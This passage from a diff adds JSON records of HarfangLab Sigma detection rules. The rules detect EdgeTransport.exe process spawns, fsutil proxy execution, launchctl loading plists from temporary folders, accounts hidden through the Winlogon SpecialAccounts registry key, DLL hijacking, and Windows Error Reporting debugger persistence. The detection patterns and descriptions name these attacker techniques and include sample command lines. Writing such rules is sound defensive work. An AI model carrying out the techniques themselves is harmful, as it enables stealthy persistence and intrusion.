high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c00b65da-0ebe-48ef-a6ac-e68f0dac4cc9",
+  "rule_name": "Process Started by Microsoft Exchange EdgeTransport.exe",
+  "rule_description": "Detects a process being spawned by EdgeTransport.exe.\nAttackers can install malicious TransportAgents in an compromised Exchange server. If this malicious TransportAgent spawns processes, it will spawn them under EdgeTransport.exe.\nAttackers can use this technique to achieve persistence on an Exchange server by installing a malicious DLL as a new TransportAgent.\nThe malicious DLL also has access to emails transiting through the Exchange, and can also act as a command and control component.\nIt is recommended to investigate the process started by EdgeTransport.exe to look for malicious content as well as the recent suspicious installation of new Exchange transport agents.\n",
+  "rule_creation_date": "2022-11-08",
+  "rule_modified_date": "2025-10-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1104",
+    "attack.t1114.002",
+    "attack.t1505.002",
+    "attack.t1546.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c0336133-51c0-4663-bf67-46f321345247",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086724Z",
+  "creation_date": "2026-03-23T11:45:34.086726Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086731Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Fsutil/",
+    "https://twitter.com/0gtweet/status/1720724516324704404",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_fsutil_proxy_execution.yml",
+  "content": "title: Proxy Execution via fsutil.exe\nid: c0336133-51c0-4663-bf67-46f321345247\ndescription: |\n    Detects suspicious command-line arguments used with fsutil.exe, a legitimate filesystem management tool that can be abused by attackers to proxy execution of malicious payloads.\n    Fsutil.exe is commonly used for legitimate filesystem operations, but its execution can be misused to execute pre-planted binaries or malicious commands.\n    It is recommended to analyze both the parent process and the process stemming from fsutil.exe to look for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Fsutil/\n    - https://twitter.com/0gtweet/status/1720724516324704404\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2023/11/14\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Fsutil\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        GrandparentImage|endswith: 'fsutil.exe'\n        GrandparentCommandLine|contains: ' trace decode'\n        Image|endswith: '\\netsh.exe'\n\n    filter_netsh:\n        OriginalFileName: 'netsh.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c0336133-51c0-4663-bf67-46f321345247",
+  "rule_name": "Proxy Execution via fsutil.exe",
+  "rule_description": "Detects suspicious command-line arguments used with fsutil.exe, a legitimate filesystem management tool that can be abused by attackers to proxy execution of malicious payloads.\nFsutil.exe is commonly used for legitimate filesystem operations, but its execution can be misused to execute pre-planted binaries or malicious commands.\nIt is recommended to analyze both the parent process and the process stemming from fsutil.exe to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-11-14",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c0445b10-0789-4ae9-97f6-b85754b5bd8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095124Z",
+  "creation_date": "2026-03-23T11:45:34.095126Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095130Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1569/001/"
+  ],
+  "name": "t1569_001_plist_loaded_suspicious_folder.yml",
+  "content": "title: Plist File Loaded from Suspicious Location\nid: c0445b10-0789-4ae9-97f6-b85754b5bd8b\ndescription: |\n    Detects a plist file being loaded using launchctl from a suspicious folder.\n    Attackers can manually load plist files to create launch agents and achieve persistence.\n    It is recommended to investigate the content of the plist file and the ancestors of the launchctl process to determine whether this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1569/001/\ndate: 2024/07/03\nmodified: 2025/03/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.ServiceCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/bin/launchctl'\n\n    # Either from a different folder and using global paths\n    # Matches 'launchctl load /tmp/com.fake.name.plist' etc.\n    selection_commandline:\n        CommandLine|re:\n            - '(?i) load /tmp/[^/]+\\.plist'\n            - '(?i) load /private/tmp/[^/]+\\.plist'\n            - '(?i) load /var/[^/]+\\.plist'\n            - '(?i) load /Users/Shared/[^/]+\\.plist'\n\n    # Or from the folders themselves\n    # Matches 'launchctl load ./com.fake.name.plist', or 'launchctl load com.fake.name.plist', etc. run from a suspicious folder\n    selection_current_folder:\n        CurrentDirectory:\n            - '/tmp/'\n            - '/private/tmp/'\n            - '/var/'\n            - '/Users/Shared/'\n        CommandLine|re: '(?i) load (?:\\./)?[^/]+\\.plist'\n\n    condition: selection and 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c0445b10-0789-4ae9-97f6-b85754b5bd8b",
+  "rule_name": "Plist File Loaded from Suspicious Location",
+  "rule_description": "Detects a plist file being loaded using launchctl from a suspicious folder.\nAttackers can manually load plist files to create launch agents and achieve persistence.\nIt is recommended to investigate the content of the plist file and the ancestors of the launchctl process to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-03-10",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c0445b7c-3f2f-473b-8737-4e9e2d8969f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620363Z",
+  "creation_date": "2026-03-23T11:45:34.620365Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620369Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://superuser.com/questions/618555/what-values-are-defined-for-the-specialaccounts-userlist-key-and-what-i-is-their",
+    "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
+    "https://twitter.com/malmoeb/status/1496875024254640129",
+    "https://attack.mitre.org/techniques/T1564/002/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_winlogon_special_account_modification.yml",
+  "content": "title: User Account Hidden from User Lists\nid: c0445b7c-3f2f-473b-8737-4e9e2d8969f3\ndescription: |\n    Detects the modification of the \"Winlogon\\SpecialAccounts\\UserList\" registry key.\n    This may help an attacker hide an account from the welcome screen or control panel.\n    The DWORD value 0 hides the user on the Welcome screen, but he is still visible in the Control Panel.\n    The DWORD value 1 shows the user on the Welcome screen and Control Panel.\n    The DWORD value 65536 hides the user from the Welcome screen and the Control Panel.\n    It is recommended to analyze the process responsible for the registry modification as well as to determine the legitimacy of the user account added to the SpecialAccounts key.\nreferences:\n    - https://superuser.com/questions/618555/what-values-are-defined-for-the-specialaccounts-userlist-key-and-what-i-is-their\n    - https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/\n    - https://twitter.com/malmoeb/status/1496875024254640129\n    - https://attack.mitre.org/techniques/T1564/002/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2022/12/01\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|startswith: 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\'\n\n    filter_showuser:\n        Details: 'DWORD (0x00000001)'\n\n    filter_empty:\n        Details:\n            - ''\n            - '(Empty)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_lenovo:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\lenovo_tmp_????????'\n\n    exclusion_zenworks_dau:\n        ProcessImage: '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\DAUHelper.exe'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\DAU?-*'\n\n    exclusion_sysmex_ipu:\n        ProcessImage: '?:\\Program Files (x86)\\Sysmex\\IPUSRV\\IpuSrv.exe'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\IPU*'\n\n    exclusion_novell:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\DAUHelper.exe'\n            - '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\ZenworksWindowsService.exe'\n\n    exclusion_autoelevate_agent:\n        ProcessImage:\n            - '?:\\Program Files\\AutoElevate\\AutoElevateAgent.exe'\n            - '?:\\Program Files (x86)\\AutoElevate\\AutoElevateAgent.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\~0000AEAdmin'\n\n    exclusion_symex:\n        ProcessOriginalFileName: 'IpuSrv.exe'\n        ProcessCompany: 'Sysmex'\n\n    exclusion_nomachine:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\nx'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NoMachine S.a.r.l.'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\CtxPkmService'\n\n    exclusion_schneider:\n        ProcessImage: '?:\\Windows\\Installer\\MSI????.tmp'\n        ProcessSigned: 'true'\n        ProcessSignature: 'SCHNEIDER ELECTRIC USA, INC.'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\SE-Account'\n\n    exclusion_bmc:\n        ProcessOriginalFileName: 'mtxagent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'BMC Software France SAS'\n\n    exclusion_postgres:\n        ProcessParentImage|endswith:\n            - '\\edb_pgagent_pg??.exe'\n            - ':\\Windows\\System32\\msiexec.exe'\n            - '\\postgresql-*-windows-x64.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\postgres'\n\n    exclusion_setup:\n        ProcessOriginalFileName: 'InstallShield Setup.exe'\n        ProcessCompany:\n            - 'GE Healthcare'\n            - 'InBody'\n\n    exclusion_oracle:\n        ProcessOriginalFileName: 'ServiceHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Oracle America, Inc.'\n\n    exclusion_pulse:\n        ProcessCommandLine: 'REG ADD HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v pulseuser /t REG_DWORD /d 0 /f'\n        ProcessGrandparentCommandLine: '?:\\\\PROGRA~1\\\\Python3\\\\python.exe ?:\\Program Files\\\\Python3\\\\Lib\\\\site-packages\\\\pulse_xmpp_agent\\\\connectionagent.py -t machine'\n\n    exclusion_philips:\n        ProcessImage|endswith: '\\IntelliSpace Perinatal\\Setup\\setup.exe'\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\OBTV Connect'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\OBTV Internal 2'\n\n    exclusion_amada:\n        ProcessParentCommandLine: '?:\\Program Files (x86)\\AMADA3i\\DCOM Server\\DCOMSetting.exe'\n\n    exclusion_scanner:\n        ProcessCommandLine:\n            - 'reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v scanner /t REG_DWORD /d 00000000'\n            - 'REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v scanner /t REG_DWORD /d 00000000 /f'\n            - 'REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v copieur /t REG_DWORD /d 0'\n        ProcessParentCommandLine: '?:\\windows\\System32\\cmd.exe /C ?:\\\\*.bat'\n        ProcessGrandparentCommandLine: '?:\\WINDOWS\\Explorer.EXE'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c0445b7c-3f2f-473b-8737-4e9e2d8969f3",
+  "rule_name": "User Account Hidden from User Lists",
+  "rule_description": "Detects the modification of the \"Winlogon\\SpecialAccounts\\UserList\" registry key.\nThis may help an attacker hide an account from the welcome screen or control panel.\nThe DWORD value 0 hides the user on the Welcome screen, but he is still visible in the Control Panel.\nThe DWORD value 1 shows the user on the Welcome screen and Control Panel.\nThe DWORD value 65536 hides the user from the Welcome screen and the Control Panel.\nIt is recommended to analyze the process responsible for the registry modification as well as to determine the legitimacy of the user account added to the SpecialAccounts key.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1564.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c04bc942-714f-4a5c-ac7a-74f7e2982ad2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082065Z",
+  "creation_date": "2026-03-23T11:45:34.082067Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082071Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tracert.yml",
+  "content": "title: DLL Hijacking via tracert.exe\nid: c04bc942-714f-4a5c-ac7a-74f7e2982ad2\ndescription: |\n    Detects potential Windows DLL Hijacking via tracert.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tracert.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\IPHLPAPI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c04bc942-714f-4a5c-ac7a-74f7e2982ad2",
+  "rule_name": "DLL Hijacking via tracert.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tracert.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c04f7e83-0aac-495c-8097-bbdc694cc38c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089622Z",
+  "creation_date": "2026-03-23T11:45:34.089624Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089629Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/wer_debugger.html",
+    "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_windows_error_reporting.yml",
+  "content": "title: Possible Windows Error Reporting Persistence Added\nid: c04f7e83-0aac-495c-8097-bbdc694cc38c\ndescription: |\n    Detects the creation or edition of the Windows Error Reporting debugging registry key that allows debugger execution when an application hangs.\n    This method is used as a mean to achieve persistence by replacing the debugger image by a malicious payload.\n    It is recommended to investigate the process that set the registry key and the binary added as a debugger for suspicious activities.\nreferences:\n    - https://persistence-info.github.io/Data/wer_debugger.html\n    - https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\\Debugger'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_windbg:\n        Details|contains: 'windbg.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c04f7e83-0aac-495c-8097-bbdc694cc38c",
+  "rule_name": "Possible Windows Error Reporting Persistence Added",
+  "rule_description": "Detects the creation or edition of the Windows Error Reporting debugging registry key that allows debugger execution when an application hangs.\nThis method is used as a mean to achieve persistence by replacing the debugger image by a malicious payload.\nIt is recommended to investigate the process that set the registry key and the binary added as a debugger for suspicious activities.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c076106d-84e0-4b78-bf21-d14cf99dd7ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587443Z",
+  "creation_date": "2026-03-23T11:45:34.587446Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587454Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_agentservice.yml",
+  "content": "title: DLL Hijacking via agentservice.exe\nid: c076106d-84e0-4b78-bf21-d14cf99dd7ed\ndescription: |\n    Detects potential Windows DLL Hijacking via agentservice.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'agentservice.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ACTIVEDS.dll'\n            - '\\adsldpc.dll'\n            - '\\FLTLIB.DLL'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        